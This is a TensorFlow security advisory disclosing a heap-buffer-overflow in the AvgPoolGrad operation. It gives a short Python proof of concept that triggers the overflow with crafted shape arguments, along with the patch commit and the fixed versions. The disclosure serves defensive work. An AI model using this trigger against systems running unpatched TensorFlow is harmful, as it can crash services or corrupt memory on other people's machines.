TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )

Patches

We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by evn@google.com